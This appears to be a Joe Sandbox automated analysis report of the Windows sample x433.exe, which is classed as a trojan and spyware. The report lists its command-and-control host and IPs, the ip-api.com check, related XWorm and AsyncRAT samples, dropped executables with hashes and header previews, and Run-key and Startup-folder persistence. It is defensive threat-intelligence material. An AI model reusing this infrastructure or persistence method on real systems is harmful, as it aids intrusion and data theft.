http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
https://word.office.com	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/09/policy	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/erties	0%	Avira URL Cloud	safe
https://go.microsoft.co	0%	Avira URL Cloud	safe
https://powerpoint.office.com3J	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	0%	Avira URL Cloud	safe
http://ocsp.msocsp.	0%	Avira URL Cloud	safe
https://wns2-by3p.notify.windows.com/?token=AwYAAACklixT6U5TxXWj7Y4oTt3JqNuZjYaQtFRvg3Ifna8Pnwup50yq	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://powerpoint.office.com	0%	Avira URL Cloud	safe
https://outlook.comSRD1-	0%	Avira URL Cloud	safe
https://excel.office.comSRD1%	0%	Avira URL Cloud	safe
https://powerpoint.office.comSRD13	0%	Avira URL Cloud	safe
session-chief.gl.at.ply.gg	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	0%	Avira URL Cloud	safe
http://docs.oasis-open.org/ws-sx/ws-trust/200512	0%	Avira URL Cloud	safe
https://word.office.comSRD1#	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/soap12/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
session-chief.gl.at.ply.gg	147.185.221.20	true	true	unknown
ip-api.com	208.95.112.1	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
session-chief.gl.at.ply.gg	true	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.1776860992.0000021FF3F15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1776860992.0000021FF3D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://word.office.com	svchost.exe, 00000023.00000000.1892174406.0000020D262F8000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000002.3013226921.0000020D262F8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 00000007.00000002.2961484034.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000000.1744064595.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.1743582596.0000021FE3F2D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 00000007.00000002.2961484034.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000000.1744064595.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 00000007.00000002.2961484034.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000000.1744064595.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.microsoft.co	powershell.exe, 00000003.00000002.1782623387.0000021FFC1A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.1743582596.0000021FE3F2D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro	powershell.exe, 00000003.00000002.1743582596.0000021FE4E45000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://powerpoint.office.com3J	svchost.exe, 00000023.00000002.3021733036.0000020D26583000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1893472173.0000020D26583000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000003.00000002.1776860992.0000021FF3D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.msocsp.	lsass.exe, 00000007.00000000.1744669291.00000202C03C5000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000003.00000002.1776860992.0000021FF3D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://wns2-by3p.notify.windows.com/?token=AwYAAACklixT6U5TxXWj7Y4oTt3JqNuZjYaQtFRvg3Ifna8Pnwup50yq	Microsoft-Windows-PushNotification-Platform%4Operational.evtx.16.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 00000007.00000002.2961484034.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000000.1744064595.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://powerpoint.office.com	svchost.exe, 00000023.00000002.3021733036.0000020D26583000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1893472173.0000020D26583000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	svchost.exe, 00000011.00000000.1809587946.00000241A96E0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.1743582596.0000021FE3F2D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 00000007.00000000.1744095896.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000002.2962697239.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000002.2961484034.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000000.1744064595.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.comSRD1%	svchost.exe, 00000023.00000002.3004729739.0000020D26029000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1889283300.0000020D25FD3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1890717083.0000020D260D8000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1893764769.0000020D26643000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000002.3000838222.0000020D25FD3000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000007.00000002.2961484034.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000000.1744064595.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 00000007.00000002.2961484034.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000000.1744064595.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000003.00000002.1776860992.0000021FF3D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.1776860992.0000021FF3D70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://powerpoint.office.comSRD13	svchost.exe, 00000023.00000000.1891920360.0000020D262D3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000002.3022802035.0000020D265BD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1893559438.0000020D265BD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1893472173.0000020D26583000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1893764769.0000020D26643000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.comSRD1-	svchost.exe, 00000023.00000000.1891920360.0000020D262D3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1893764769.0000020D26643000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.comSRD1#	svchost.exe, 00000023.00000000.1891920360.0000020D262D3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000002.3021733036.0000020D26583000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1893472173.0000020D26583000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000002.3020897864.0000020D2655D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000002.3011954167.0000020D262D3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1893764769.0000020D26643000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000023.00000000.1893396897.0000020D2655D000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000003.00000002.1743582596.0000021FE3D01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 00000007.00000000.1744095896.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000002.2962697239.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 00000007.00000002.2961484034.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000007.00000000.1744064595.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	x433.exe, 00000000.00000002.1709422465.0000000002991000.00000004.00000800.00020000.00000000.sdmp, x4host.exe, 00000002.00000002.2967434276.0000000003181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1743582596.0000021FE3D01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	true
147.185.221.20	session-chief.gl.at.ply.gg	United States		12087	SALSGIVERUS	true

Private

IP
192.168.2.10
192.168.2.7

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465714
Start date and time:	2024-07-02 00:30:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	33
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	x433.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/70@2/4
EGA Information:	Successful, ratio: 90.9%
HCA Information:	Successful, ratio: 89% Number of executed functions: 101 Number of non-executed functions: 273
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.68, 20.190.159.71, 20.190.159.64, 20.190.159.2, 40.126.31.69, 20.190.159.75, 20.190.159.4, 40.126.31.73
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, www.tm.v4.a.prd.aadg.akadns.net, ocsp.edge.digicert.com, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target x433.exe, PID 6576 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: x433.exe

Simulations

Behavior and APIs

Time	Type	Description
18:31:01	API Interceptor	9x Sleep call for process: powershell.exe modified
18:31:04	API Interceptor	3400x Sleep call for process: x4host.exe modified
18:31:35	API Interceptor	259431x Sleep call for process: lsass.exe modified
18:31:35	API Interceptor	336160x Sleep call for process: winlogon.exe modified
18:31:36	API Interceptor	6929x Sleep call for process: svchost.exe modified
18:31:38	API Interceptor	318311x Sleep call for process: dwm.exe modified
18:31:49	API Interceptor	157x Sleep call for process: spoolsv.exe modified
18:31:56	API Interceptor	172x Sleep call for process: dllhost.exe modified
23:31:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run x4usb C:\Users\user\AppData\Local\x4usb.exe
23:31:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run x4usb C:\Users\user\AppData\Local\x4usb.exe
23:31:25	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4usb.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	rinvoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	rQuotation.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	8f5WsFcnTc.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	ZkqNrYh5cV.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	rQoutation.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	v31TgVEtHi.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	yVtOz1fD5G.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	8w5wHh755H.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	001 Tech. Spec pdf.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	doc -scan file.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
147.185.221.20	fg}.exe	Get hash	malicious	XWorm	Browse
	build.exe	Get hash	malicious	RedLine	Browse
	Ph58Rkdxor.exe	Get hash	malicious	XWorm	Browse
	4kvADqDmZ4.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse
	Discord Tools.exe	Get hash	malicious	XWorm	Browse
	Image logger beta.exe	Get hash	malicious	AsyncRAT, XWorm	Browse
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse
	fart.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse
	Shiba Genisis Loader.exe	Get hash	malicious	AsyncRAT, DcRat	Browse
	ModStickInjectorV1.exe	Get hash	malicious	AsyncRAT, DcRat, Quasar, XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	rinvoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	rQuotation.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8f5WsFcnTc.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	ZkqNrYh5cV.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rQoutation.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	v31TgVEtHi.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	yVtOz1fD5G.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8w5wHh755H.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	001 Tech. Spec pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	doc -scan file.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
fp2e7a.wpc.phicdn.net	http://pub-72f4175190054b068a6db1f116f55ca9.r2.dev/index.html	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://pub-5e86a1f01e5a4476812e4d108add0587.r2.dev/index.html	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://telegrambot-resolved.pages.dev/	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://nsfgrs03.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	http://pub-49f7bdad3ae7458f8076aa4480203a8b.r2.dev/index.html	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://serviceca11he1pn0waa12.pages.dev/	Get hash	malicious	TechSupportScam	Browse	192.229.221.95
	http://excelonline.standard.us-east-1.oortech.com/Index.html	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://strangetype.shop/	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://page-timefthrturtuj.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	http://pub-b08cf417828946e7aaa1a51805e57275.r2.dev/adobe2024.html	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SALSGIVERUS	fg}.exe	Get hash	malicious	XWorm	Browse	147.185.221.20
	build.exe	Get hash	malicious	RedLine	Browse	147.185.221.20
	bJLd0SUHfj.exe	Get hash	malicious	Unknown	Browse	147.185.221.18
	PGjIoaqfQY.exe	Get hash	malicious	Unknown	Browse	147.185.221.18
	V6363OW8Rh.exe	Get hash	malicious	XWorm	Browse	147.185.221.18
	x6221haMsm.exe	Get hash	malicious	Unknown	Browse	147.185.221.18
	Ph58Rkdxor.exe	Get hash	malicious	XWorm	Browse	147.185.221.20
	4kvADqDmZ4.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	147.185.221.20
	BviOG97ArX.elf	Get hash	malicious	Mirai, Moobot	Browse	147.176.119.108
	a.exe	Get hash	malicious	Unknown	Browse	147.185.221.18
TUT-ASUS	rinvoice.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	rQuotation.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8f5WsFcnTc.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	ZkqNrYh5cV.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rQoutation.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	v31TgVEtHi.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	yVtOz1fD5G.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	8w5wHh755H.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	001 Tech. Spec pdf.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	doc -scan file.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

Process:	C:\Users\user\Desktop\x433.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\x4usb.exe.log

Process:	C:\Users\user\AppData\Local\x4usb.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

Process:	C:\Windows\System32\lsass.exe
File Type:	very short file (no magic)
Category:	modified
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\x4Shellcode.exe

Process:	C:\Users\user\Desktop\x433.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	749056
Entropy (8bit):	7.928365652662205
Encrypted:	false
SSDEEP:	12288:ejxppp7nbXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:enppLbsqjnhMgeiCl7G0nehbGZpbD
MD5:	851BE4E85B0F111883680E87099483A3
SHA1:	155E19AD0D2EC4BEF3BA25512B6E8BC403350EC9
SHA-256:	BA2D2058AB95D39A9C05C9C74DFA7C860CC662F33ECD96C35F2C344666472197
SHA-512:	BCFD99DF20BA3E713801F9C41BC924379F4F6078703EC1D44E90EC3649AA1B2FCE6CE802A71A0297516CCF344C627C91359434B7166D716DEA69AB41C1FECCE6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......G...........H......H.........b...m......mV......>.....m.....Rich...........................PE..L.....4f...............'..................... ....@.........................................................................<9..x....@..8^...........................8..8............................................ ...............................text............................... ..`.rdata..,.... ......................@..@.rsrc...8^...@...`..................@..@.reloc..............................@...........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x4host.exe

Process:	C:\Users\user\Desktop\x433.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.900268327783426
Encrypted:	false
SSDEEP:	1536:5UAK2o5TimSMpHgtbTctvRLRyPhnMOplJUsnS:5TWZPCbTGL8nMOjGuS
MD5:	FD744070409A72B86CC2B344D1719B33
SHA1:	D58DED881812057A3B51E6F753FFBFE243AF112E
SHA-256:	D2FD71588DD2D33C5AD58C1A5382DE38227AD86092CAE7401EE95C7701282730
SHA-512:	8EBDE5880105F2831377C26800FDD2B482BD2FDFC5C5539CE0901828D78BD1D2475474CC5859E3A0F92A305A21BD3C1C98834E1746402D708E84622E088717D9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\x4host.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\x4host.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\x4host.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....@.f.............................&... ...@....@.. ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H........Z..@.......&.....................................................(.....r...p. ......(.....r!..p. s....s.........s.........s.........s..........re..p. ....r...p. .y4..r...p. ~.H..r1..p. .....ru..p..((....r...p.r...p. .t...(...-.(+...,.+.(,...,.+.()...,.+.((...,..(L...&(....&+..+5s^... .... .'..o_...(...~....-.(Y...(K...~....o`...&.-..rM..p. ;%A..r...p. .A...r...p. %^~..r...p. .-N..r]..p. .x!..r...p. .w..r...p. l....r)..p. .s..

C:\Users\user\AppData\Local\x4usb.exe

Process:	C:\Users\user\AppData\Local\Temp\x4host.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.900268327783426
Encrypted:	false
SSDEEP:	1536:5UAK2o5TimSMpHgtbTctvRLRyPhnMOplJUsnS:5TWZPCbTGL8nMOjGuS
MD5:	FD744070409A72B86CC2B344D1719B33
SHA1:	D58DED881812057A3B51E6F753FFBFE243AF112E
SHA-256:	D2FD71588DD2D33C5AD58C1A5382DE38227AD86092CAE7401EE95C7701282730
SHA-512:	8EBDE5880105F2831377C26800FDD2B482BD2FDFC5C5539CE0901828D78BD1D2475474CC5859E3A0F92A305A21BD3C1C98834E1746402D708E84622E088717D9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\x4usb.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\x4usb.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\x4usb.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....@.f.............................&... ...@....@.. ....................................@..................................%..O....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H........Z..@.......&.....................................................(.....r...p. ......(.....r!..p. s....s.........s.........s.........s..........re..p. ....r...p. .y4..r...p. ~.H..r1..p. .....ru..p..((....r...p.r...p. .t...(...-.(+...,.+.(,...,.+.()...,.+.((...,..(L...&(....&+..+5s^... .... .'..o_...(...~....-.(Y...(K...~....o`...&.-..rM..p. ;%A..r...p. .A...r...p. %^~..r...p. .-N..r]..p. .x!..r...p. .w..r...p. l....r)..p. .s..

C:\Users\user\AppData\Roaming\141973e4e5834a36.bin

Process:	C:\Users\user\AppData\Local\Temp\x4Shellcode.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.985919691160046
Encrypted:	false
SSDEEP:	192:L5VvI+JeIVNOruWx5b+6hjLpQOAwL4Hk7vi08F6/fb2x5VEtRO3Zr+NckcH:VRVNOfXdKwUH6vi0M4b2x5i00cH
MD5:	187D1168C3B5E8613689542EEA6816F9
SHA1:	B59CBEB2539A140F4E9BE12D79097AF2DFF4BB35
